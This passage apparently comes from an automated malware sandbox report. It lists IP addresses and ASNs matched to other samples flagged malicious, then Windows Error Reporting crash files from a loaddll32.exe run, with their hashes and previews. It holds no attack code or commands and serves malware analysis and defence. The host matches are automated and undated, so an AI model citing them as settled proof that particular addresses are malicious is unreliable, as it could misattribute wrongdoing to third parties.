                                      agent_installer (1).exeGet hashmaliciousBrowse
                                      • 102.129.143.62
                                      2GEg45PlG9.exeGet hashmaliciousBrowse
                                      • 84.17.52.63
                                      FpYf5EGDO9.exeGet hashmaliciousBrowse
                                      • 84.17.52.63
                                      anIV2qJeLD.exeGet hashmaliciousBrowse
                                      • 84.17.52.63
                                      gECym.dllGet hashmaliciousBrowse
                                      • 102.129.143.33
                                      data.dllGet hashmaliciousBrowse
                                      • 102.129.143.57
                                      test1.dllGet hashmaliciousBrowse
                                      • 102.129.143.57
                                      test1.dllGet hashmaliciousBrowse
                                      • 185.32.222.18
                                      97Ys56eAFo.dllGet hashmaliciousBrowse
                                      • 84.17.52.9
                                      new_working_conditions[2021.09.23_12-51].xlsbGet hashmaliciousBrowse
                                      • 84.17.52.9
                                      OcEyzBswGm.exeGet hashmaliciousBrowse
                                      • 84.17.52.41
                                      Invoice778465.xlsbGet hashmaliciousBrowse
                                      • 185.189.150.74
                                      o0AX0nKiUn.dllGet hashmaliciousBrowse
                                      • 84.17.52.3

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                      LVLT-10753USo2AHUUgivhGet hashmaliciousBrowse
                                      • 148.57.27.116
                                      i586-20220420-0452Get hashmaliciousBrowse
                                      • 147.207.196.184
                                      boat.arm7Get hashmaliciousBrowse
                                      • 217.22.66.248
                                      Ares.x86Get hashmaliciousBrowse
                                      • 147.207.27.156
                                      cEmPMPmt3xGet hashmaliciousBrowse
                                      • 200.1.79.159
                                      duzwG31xKWGet hashmaliciousBrowse
                                      • 208.51.98.42
                                      sora.arm7Get hashmaliciousBrowse
                                      • 147.3.147.111
                                      i686Get hashmaliciousBrowse
                                      • 94.154.174.103
                                      7y68gqkCZXGet hashmaliciousBrowse
                                      • 148.57.62.81
                                      hocku3bllEGet hashmaliciousBrowse
                                      • 94.154.174.134
                                      McTQO3v9sYGet hashmaliciousBrowse
                                      • 94.154.174.130
                                      UnHAnaAW.x86Get hashmaliciousBrowse
                                      • 94.154.174.106
                                      IYs9pfEmU7Get hashmaliciousBrowse
                                      • 94.154.174.106
                                      jh39kNVb6qGet hashmaliciousBrowse
                                      • 94.154.174.144
                                      3cdz4j7tMmGet hashmaliciousBrowse
                                      • 94.154.174.143
                                      aqua.arm7Get hashmaliciousBrowse
                                      • 147.3.147.112
                                      Josho.arm7Get hashmaliciousBrowse
                                      • 64.8.51.81
                                      sora.arm7Get hashmaliciousBrowse
                                      • 148.57.49.88
                                      aqua.x86Get hashmaliciousBrowse
                                      • 200.1.79.155
                                      aqua.arm7Get hashmaliciousBrowse
                                      • 94.154.174.105

                                      JA3 Fingerprints

                                      ⊘No context

                                      Dropped Files

                                      ⊘No context

                                      Created / dropped Files

                                      C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_3fb78dbd3096a159cff8d7df2087ea8f72df4a_7cac0383_1a1ec4c1\Report.wer

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):65536
                                      Entropy (8bit):0.8489168017689993
                                      Encrypted:false
                                      SSDEEP:96:82XXFDSb1/nYyJy9haoB7JnxpXIQcQGc6McE+cw3/7+a+z+HbHgvAS/YyNlISWb/:82XxqnSHoIE/jKq/u7sQwS274ItW
                                      MD5:8C031B76B984FFB3775F8BB1F955175D
                                      SHA1:1792D0086EF05E7580C883BAEC6A1C9AB5A8384B
                                      SHA-256:D2B34A32EFA1DE46ACBB9F0956EE27E1A3DFA68156AA65D77F60E23C72BD5853
                                      SHA-512:0161CF8EFB3477ECD3EE5D78ACC4094DA567F97D812AAB0BF3F099840D07FC7FEA47C93F403A56C086DB5B36F5A5003618C1E20A8DA28F39AA5CBDA27A58BA1D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.9.5.1.4.2.8.9.8.4.2.1.2.6.7.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.9.5.1.4.2.9.0.1.0.3.0.6.1.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.a.8.b.4.a.a.2.-.8.8.9.8.-.4.6.2.9.-.8.5.d.0.-.6.f.b.3.9.4.1.6.2.7.9.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.a.d.0.3.7.d.0.-.8.c.4.d.-.4.c.8.7.-.9.f.3.1.-.8.2.8.b.1.f.8.5.1.7.3.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.9.8.-.0.0.0.1.-.0.0.1.8.-.a.6.2.8.-.2.2.c.3.9.e.5.6.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

                                      C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_7875e6245bdd47cab51d5025544adb25af7c1d5b_7cac0383_19f2e3d2\Report.wer

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):65536
                                      Entropy (8bit):0.8457079504503605
                                      Encrypted:false
                                      SSDEEP:96:8iX9F58A1/nYysy9ha2KzfFEpXIQcQAc6VQcELcw3A+a+z+HbHgvAS/YyNlISWbN:8C9Fn5H+JQB6jKq/u7sQwS274ItW
                                      MD5:239227B919527B1ED5C683A088C5B832
                                      SHA1:348EA9C33130FD4987535BDDF1BF2C7A5F11AAEA
                                      SHA-256:BEFE7B14F1828EEF0D5797D2A21434657431BA55C4CAD5E1B8E7E933DA715D7B
                                      SHA-512:E43C0FC89549E2159029F7C43970748C49216A93459FF4BD73ECC141D65A5068903961DFDE4B6EF17E606EDA0E741E4341510627D9280819F1E0033BE7701A41
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.9.5.1.4.2.9.0.7.6.2.3.5.4.2.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.9.5.1.4.2.9.1.0.3.7.3.5.1.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.9.f.0.4.6.0.-.d.7.3.e.-.4.1.1.e.-.b.1.1.d.-.f.f.e.7.2.0.0.8.4.8.0.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.b.6.b.9.5.4.-.2.2.8.3.-.4.b.8.6.-.8.9.9.4.-.0.c.9.6.4.9.e.8.d.2.a.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.9.8.-.0.0.0.1.-.0.0.1.8.-.a.6.2.8.-.2.2.c.3.9.e.5.6.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

                                      C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_a0b9814f9a8146de5cfec8d14bee9aa28ce9d7_7cac0383_11cea998\Report.wer

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):65536
                                      Entropy (8bit):0.8427022275254693
                                      Encrypted:false
                                      SSDEEP:96:xbQMFL1/nYywy9ha2K7FISZpXIQcQGc6McE+cw3/7+a+z+HbHgvAS/YyNlISWbS/:xs8RnaHoIE/jKq/u7sQwS274Itb
                                      MD5:8B1E65DE729358962175804BE41A5F2D
                                      SHA1:4CBC27A28D667D2173561DD64CD24D861D547050
                                      SHA-256:FF676378BD954F762192C45AF6135C3E1C692D8846A88B5CA947A525C2FCB57A
                                      SHA-512:BF6922A8C214E97361A7A479BE3E9C08C5AFE18106CE82F2EAC1E116A5963AD5B2A9FD9062812CD2FA059374DD296428D3F73B0DB4CB5C09083859B4874E4C4F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.9.5.1.4.2.8.9.3.6.8.7.7.9.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.d.5.8.c.c.b.0.-.a.d.1.7.-.4.9.f.a.-.b.0.8.d.-.2.a.1.b.2.d.2.1.6.6.c.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.a.5.c.7.6.f.d.-.9.b.f.8.-.4.c.9.d.-.b.c.3.9.-.4.8.6.7.6.1.1.1.e.6.7.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.9.8.-.0.0.0.1.-.0.0.1.8.-.a.6.2.8.-.2.2.c.3.9.e.5.6.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.2././.1.3.:.0.9.:.0.7.:.1.6.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F47.tmp.dmp

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:Mini DuMP crash report, 15 streams, Fri Apr 22 23:14:54 2022, 0x1205a4 type
                                      Category:dropped
                                      Size (bytes):40078
                                      Entropy (8bit):2.0516019755266033
                                      Encrypted:false
                                      SSDEEP:192:d54ROb/XeaV3qO3TvQ2yBFcZOQx2M2APOmRA4GTeDc/X/h:LbR13zQ2yYIkYYOmRTk/XZ
                                      MD5:F945699442413D17B98030FD8B59BF3F
                                      SHA1:30803FA01F2D979EE5E481DD9828DA3E7FCDDC6D
                                      SHA-256:D6504D1EC8512903B41E6E24AEA1E2CD3031F030FE126EB59E4CD88586F52D35
                                      SHA-512:0D703BFA0955984000957238669E7E97DD823E151F558F7F7B4C8D2027F11964B26CD287C1316C84A56BA76EA53EE3247A27667984CC67530C896D48D189AAAD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:MDMP....... ........6cb........................4...........$................)..........`.......8...........T........... ...n............................................................................................U...........B..............GenuineIntelW...........T............6cb.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERA3BD.tmp.WERInternalMetadata.xml

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):8348
                                      Entropy (8bit):3.6903285459126125
                                      Encrypted:false
                                      SSDEEP:192:Rrl7r3GLNiuv6A+ou6YfoSU2agmfbS1CpNM89bxf1f3bm:RrlsNi26n6YgSU2agmfbSyxNfi
                                      MD5:67355ED11A4EA0C1FD1B595EF9946717
                                      SHA1:D246366FCF5482CC166E9C0ABFF4324F4916D272
                                      SHA-256:9449C9132634293A63DB71ABA38DA26971A44306EDFCC7FBBFEE1B4211439753
                                      SHA-512:269E99F89B99C445E5CCF6C6D43F98AAD97BFE767E53DE57E0082EC2C7A3C6F88F5B50F8B5B054FC2EC35A051DB402DF90EF554923F986B52E5B886650BA0C05
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.8.<./.P.i.d.>.........

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERA554.tmp.xml

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):4665
                                      Entropy (8bit):4.426958524168873
                                      Encrypted:false
                                      SSDEEP:48:cvIwSD8zsUJgtWI9cKWgc8sqYjhZ8fm8M4J2+QFrYHo+q8vQ+fKcQIcQw0Gd:uITfSTrgrsqY1eJpoKjKkw0Gd
                                      MD5:6F226F9CC303D01E54357E5ACAF7E3BF
                                      SHA1:4F9A862A25C62CC6099E318656CD61536B0CA204
                                      SHA-256:340E05C26B91FFBED952FCC77AE81B1D0BB9BEAB67C3ADA6C7A9CF549F532F47
                                      SHA-512:F3871C70BF98C2376810E277D936AECC9B46082A7D0DE61117645CBE11707D34953F8803919AFEA96554AC7E4C3CE6A96B2919D7ECB1B2291CD051BA1FBF60A1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1483705" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERB1C6.tmp.dmp

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:Mini DuMP crash report, 15 streams, Fri Apr 22 23:14:59 2022, 0x1205a4 type
                                      Category:dropped
                                      Size (bytes):39878
                                      Entropy (8bit):2.022025674967719
                                      Encrypted:false
                                      SSDEEP:192:E5p8/XeajR3u/y5O3TvdCcyBFcZsx2M2AmmZ3bDpi7cGpctud:Q67R+q83zZyYWYtmZ3lu
                                      MD5:E86AB660FD04033014FCBE3A9DB7FF19
                                      SHA1:51AAF21EBB82A4663448F92B472026BFAB3A92F2
                                      SHA-256:3AF7A03A84A6F6A605486ED31A7A56971DA54B2939F207FA997E3CC916F79ED4
                                      SHA-512:73571BA9B38A02AE27DDC445ED30A6B0A3594F2C6A8ACEE2ECF422E872835B782B81B358FD91670C3A21B77FB3EFE5972E3AD39440B9F1A0FE89C27313D0BE32
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:MDMP....... ........6cb........................4...........$................)..........`.......8...........T........... ................................................................................................U...........B..............GenuineIntelW...........T............6cb.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERB580.tmp.WERInternalMetadata.xml

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):8334
                                      Entropy (8bit):3.6988611677147167
                                      Encrypted:false
                                      SSDEEP:192:Rrl7r3GLNiujR6Gu6Yf7SUVligmf6S1Cpr4R89bU/sfuh8m:RrlsNigR6P6YjSUVligmf6SMUkfW
                                      MD5:5626FE654C16CB9D295BBB5E6CF7D263
                                      SHA1:79E6438305B36E75CF22071E46B9982E8CCDFBFE
                                      SHA-256:EA9F7C631953652DC2ABC71C1017FFC2F6D2DF5023F1AECBDFDCCDF2CB2BF193
                                      SHA-512:C8659ED455A695510606B79C9FC16F1AC8AE2E928C74EB31F01BB1EE14D5114278B3E9ADFA38A9E21F77606E65A8B86DA0E7E78D9D0FCF19DF183DB1BF38CF9D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.8.<./.P.i.d.>.........

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6D8.tmp.xml

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):4598
                                      Entropy (8bit):4.47127645714568
                                      Encrypted:false
                                      SSDEEP:48:cvIwSD8zsUJgtWI9cKWgc8sqYjhq8fm8M4J2+ZZFo+q84l0KKcQIcQw0Xd:uITfSTrgrsqY1fJfEuKKkw0Xd
                                      MD5:8E10C9CBD04E214A674153251B030131
                                      SHA1:5BDCD81B88B827ACCE262AD44B391632F69A6B9B
                                      SHA-256:2A0D77193B0F6D2AA309D738725D668CE36D6CD751BDF0B96A6D672D9710FFD2
                                      SHA-512:15CE67D3A67BD0C9A6DE66687E2CB0FE5E1A388293346B70612ACA2FA1FFDC5E2A3E7B3B62686C2199E1FC8BFA670F1ADBD16A532B1BF427D2EF04DCA57F493E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1483705" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5B9.tmp.dmp

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:Mini DuMP crash report, 15 streams, Fri Apr 22 23:15:08 2022, 0x1205a4 type
                                      Category:dropped
                                      Size (bytes):57018
                                      Entropy (8bit):2.172216706339119
                                      Encrypted:false
                                      SSDEEP:192:L5gq/XeaDvTOO3TvBttwcZgmZoo+0BOFWJ3I6Y+DuK7qiV44ByBFcZO3xkM2AdyE:N/L93zzXBv+E0auKO24SyYIh6WybNe
                                      MD5:A5AA803CF004737C21E7FE4B812E39FA
                                      SHA1:5470EE947086DF7B75DC1476EAA1778FB8339C59
                                      SHA-256:30E0596DFD184AD5A1E98ADA9071D9AD7349863F1945715412D2AE51AD5078A4
                                      SHA-512:AD2F6C93625B7F43C259774010961BFEE16D0AA375D1EA6BA47A5761AD8D47E0154A7615BCCDD56DBEDFC41DF759E2D71BD7875A39212918AA2FD99F7E2BDB65
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:MDMP....... ........6cb........................4...........$...........$....)..........`.......8...........T............................................................................................................U...........B..............GenuineIntelW...........T............6cb.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA3E.tmp.WERInternalMetadata.xml

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):8288
                                      Entropy (8bit):3.6906445696780272
                                      Encrypted:false
                                      SSDEEP:192:Rrl7r3GLNiu962u6YfBSUXlRJgmfgSlBCpDh89bZ/sfhTm:RrlsNiM6/6YpSUXl/gmfgSlvZkfY
                                      MD5:4738295AC0BD255AB82D548976E9E6EE
                                      SHA1:8C0B147274A45CC54A0DDA8E55A736319FBF4817
                                      SHA-256:716892525D1DC0B453745907973EA331CAA09E33CC687A2934C3AC36AED00738
                                      SHA-512:372F81CC05BF1684801660387D56DE250607BA93D829BB24AED33DE4085147D20CF00F28F6D62D6444A6D5432116239688563081220916FBDD8427CE3F787820
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.8.<./.P.i.d.>.........

                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB97.tmp.xml

                                      Download File
                                      Process:C:\Windows\SysWOW64\WerFault.exe
                                      File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):4564
                                      Entropy (8bit):4.437104514492555
                                      Encrypted:false
                                      SSDEEP:48:cvIwSD8zsUJgtWI9cKWgc8sqYjha18fm8M4J2+rFg+q84i2KcQIcQw0Xd:uITfSTrgrsqY1JJstKkw0Xd
                                      MD5:3E91FEC36650E09C3D132E69381A143D
                                      SHA1:8D2450664E4CFCA8176DF499C1BA1D57585DEC17
                                      SHA-256:B86E2947B26F5F54031CE66A13F56CEEFD6FD7F844AABDA2F2CB8F288AFE7D0A
                                      SHA-512:6DB43BF2A4204A228BFE7F1CF04F67D4A2DA3D31F65F36891C2036079AD62FEFBD79FB1FC538108ED7608121484AB8CFDBC1E03FC828B1D73FFFEDF0A25B56D1
                                      Malicious:false
                                      Reputation:unknown
